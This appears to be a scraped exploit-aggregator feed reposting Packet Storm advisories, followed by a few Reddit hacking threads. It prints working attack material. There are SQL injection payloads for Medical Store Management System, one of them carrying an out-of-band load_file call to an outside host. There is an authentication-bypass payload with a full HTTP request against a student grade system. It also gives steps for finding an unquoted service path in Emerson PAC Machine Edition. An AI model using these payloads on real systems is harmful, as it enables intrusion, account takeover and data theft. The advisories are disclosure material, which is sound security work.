Exploit Collector
Emerson PAC Machine Edition 9.80 Build 8695 Unquoted Service Path

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
Emerson PAC Machine Edition version 9.80 Build 8695 suffers from an unquoted service path vulnerability.

MD5 | 5494f7d47945a044c1fe7118166335d3

Download
# Exploit Title: Emerson PAC Machine Edition 9.80 Build 8695 - 'TrapiServer' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-13
# Vendor Homepage: https://www.emerson.com/en-us
# Software Link : https://www.opertek.com/descargar-software/?prc=_326
# Tested Version: 9.80 Build 8695
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "TrapiServer" |findstr /i /v """

Trapi File Server TrapiServer C:\Program Files (x86)\Emerson\PAC Machine Edition\Common\Components\NT\trapiserver.exe Auto
# Service info:

C:\>sc qc TrapiServer
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: TrapiServer
TYPE : 120 WIN32_SHARE_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Emerson\PAC Machine Edition\Common\Components\NT\trapiserver.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Trapi File Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ServiceNow Orlando Username Enumeration

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Medical Store Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Medical Store Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | df8f961c3b0d0084e6993f21b9dce139

Download
## Title: Medical Store Management System v1.0 remote SQL-Injections
## Author: nu11secur1ty
## Date: 02.16.2022
## Vendor: https://github.com/abhisheks008
## Software: https://github.com/abhisheks008/Medical-Store-Management-System
## CVE-Medical Store Management System v1.0
## Description:
The `cid` parameter fom customer-add.php app on Medical Store
Management System v1.0 appears to be vulnerable to SQL injection
attacks.
The application took 20034 milliseconds to respond to the request,
compared with 36 milliseconds for the original request, indicating
that the injected SQL command caused a time delay.
The malicious actor can take control of the system administrator
accounts of this system!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!
Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: cid (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cid=987101' AND (SELECT 7784 FROM (SELECT(SLEEP(3)))HbQW)
AND 'yDXs'='yDXs&cfname=Safia&clname=Malik&age=22'+(select
load_file('\\\\ej12det210osu6x32wsqrnyu6lce080wrzfr2kq9.https://github.com/abhisheks008/Medical-Store-Management-System\\tah'))+'&sex=Female&phno=9632587415&emid=safia@gmail.com&update=Update
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/abhisheks008/2022/Medical-Store-Management-System)

## Proof and Exploit:
[href](https://streamable.com/p97tbi)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Student Quarterly Result / Grade System 1.0 SQL Injection

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Simple Student Quarterly Result / Grade System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | a53713cff301f15665df2595c5f0844d

Download
# Exploit Title: Simple Student Quarterly Result/Grade System 1.0 - SQLi Authentication Bypass
# Date: 11/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15169/simple-student-quarterly-resultgrade-system-php-and-mysql-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Vulnerable Code

line 57 in file "/sqgs/Actions.php"

@$check= $this->db->query("SELECT count(admin_id) as `count` FROM admin_list where `username` = '{$username}' ".($id > 0 ? " and admin_id != '{$id}' " : ""))->fetch_array()['count'];
Steps To Reproduce:
* - Go to the login page http://localhost/sqgs/login.php

Payload:

username: admin ' or '1'='1'#--
password: \
Proof of Concept :

POST /sqgs/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Origin: http://localhost
Connection: close
Referer: http://localhost/sqgs/login.php
Cookie: PHPSESSID=v9a2mv23kc0gcj43kf6jeudk2v

username=admin+'+or+'1'%3D'1'%23--&password=0xsaudi


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
TeamSpeak 3.5.6 Insecure File Permissions

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Google Play Protect 22.4.25 Detection Bypass

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Network Video Recorder NVR304-16EP Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Multi-Vendor Online Groceries Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Just saw the movie Hackers (1995) & I love it for how stupid it is

I absolutely love it. Its about as accurate on hacking/cybersecurity as Call of Duty is for war or NCIS is for law enforcement. But its so dumb, stupid, and 90s that I love it. I would go as far to say that this movie has my favorite portrayal of hackers in any visual medium, including Mr. Robot which probably has the most accurate portrayal. I was liking the movie from the first minute but when they portrayed the Lennon glasses wearing SOC Analyst monitoring logs in a lair straight out of a James Bond film, I immediately loved it.

Anyways, I just wanted to share that I love this movie and I wouldn't be ashamed in admitting it if I talked to other pen testers in the industry. If non-pen testers asked what I did, I wouldn't be ashamed in sharing this movie with them.

EDIT: Based on everyone’s recommendations, I will watch Wargames, Sneakers, and Swordfish next

submitted by /u/j1mmyava1on
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Red Cross Hack Linked to Iranian Influence Operation?

https://external-preview.redd.it/6nw0mlyZVxzN7y3tJmD84xuhfG-wf4XapUYRiRgK1qA.jpg?width=640&crop=smart&auto=webp&s=7f512ec67c1b56f15d9ea6ba8b404cae7fa34377 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Social media hacking

I was wondering for a quite a while now how social media handles get compromised, like is there any ways for hackers to cracks passwords for accounts on social media platforms like Facebook, Instagram, LinkedIn etc remotely without physically accessing the target devices?

Came to know this can be very hard if a particular account is 2-step authenticated but what if its not?

Is it even possible to do such stuff or its just because of carelessness of user.?

just being curious

submitted by /u/More_Twist9517
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video